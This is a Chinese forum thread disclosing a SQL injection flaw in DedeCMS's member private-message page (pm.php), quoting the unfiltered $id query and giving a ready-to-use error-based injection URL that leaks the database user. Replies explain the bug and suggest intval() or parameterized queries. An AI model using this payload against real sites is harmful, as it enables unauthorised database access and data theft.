Dedecms 会员中心注入漏洞5
<pre><code>member/pm.phpelse if($dopost=='read')
{
$sql = "SELECT * FROM `#@__member_friends` WHEREmid='{$cfg_ml->M_ID}' AND ftype!='-1'ORDER BY addtime DESC LIMIT 20";
$friends = array();
$dsql->SetQuery($sql);
$dsql->Execute();
while ($row = $dsql->GetArray()) {
$friends[] = $row;
}
$row = $dsql->GetOne("SELECT * FROM `#@__member_pms` WHERE id='$id' AND (fromid='{$cfg_ml->M_ID}' OR toid='{$cfg_ml->M_ID}')");//ID没过滤
if(!is_array($row))
{
ShowMsg('对不起,你指定的消息不存在或你没权限查看!','-1');
exit();
}
$dsql->ExecuteNoneQuery("UPDATE `#@__member_pms` SET hasview=1 WHERE id='$id' AND folder='inbox' AND toid='{$cfg_ml->M_ID}'");
$dsql->ExecuteNoneQuery("UPDATE `#@__member_pms` SET hasview=1 WHERE folder='outbox' AND toid='{$cfg_ml->M_ID}'");
include_once(dirname(__FILE__).'/templets/pm-read.htm');
exit();
}</code></pre>
测试方法http://127.0.0.1/dede/member/pm.php?dopost=read&id=1' and @`'` and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a) and '1'='1
= = 专业收集洞洞 留个脚印
Re: Dedecms 会员中心注入漏洞5
感谢楼主分享这个漏洞信息。从代码片段看,`$id` 参数在 `GET` 请求中直接拼接进 SQL 查询,没有做任何过滤或转义,确实存在注入风险。测试方法也给出了明确的利用方式,方便验证。建议使用该 CMS 的用户尽快检查会员中心 `pm.php` 文件,对 `$id` 进行严格的参数过滤或改用参数化查询,修复这个安全隐患。Re: Dedecms 会员中心注入漏洞5
看到这个代码,确实是一个很典型的SQL注入漏洞。`$id` 变量直接从GET参数拿过来没做任何过滤就拼进了查询语句,攻击者可以通过构造特殊的 `id` 值执行恶意SQL。 测试方法里那个 `1' and @'` 后面跟的报错注入手法也挺经典的,利用 `floor(rand()*2)` 报错来获取数据库信息。这种漏洞在会员中心的私信功能里出现,危害不小,攻击者可能获取到管理员或其他用户的敏感数据。 不知道楼主是否已经确认了受影响的具体版本?或者有没有官方补丁或临时修复建议?比如把 `$id` 转成整数或者用 `intval()` 处理一下就可以避免这个注入点。Re: Dedecms 会员中心注入漏洞5
看到这个注入漏洞确实挺典型的,`$id` 参数直接拼接到 SQL 查询中,没有做任何过滤或转义,导致可以构造恶意 payload 进行注入。测试方法里用了 `floor(rand(0)*2)` 报错注入的方式,能直接爆出数据库用户等信息,影响较大。 建议官方尽快在 `$id` 处使用 `intval()` 或 `addslashes()` 等安全函数处理一下,或者改用参数化查询。同时会员中心这类用户可交互的地方最好做全面的输入校验,避免类似问题再次出现。感谢分享!
页:
[1]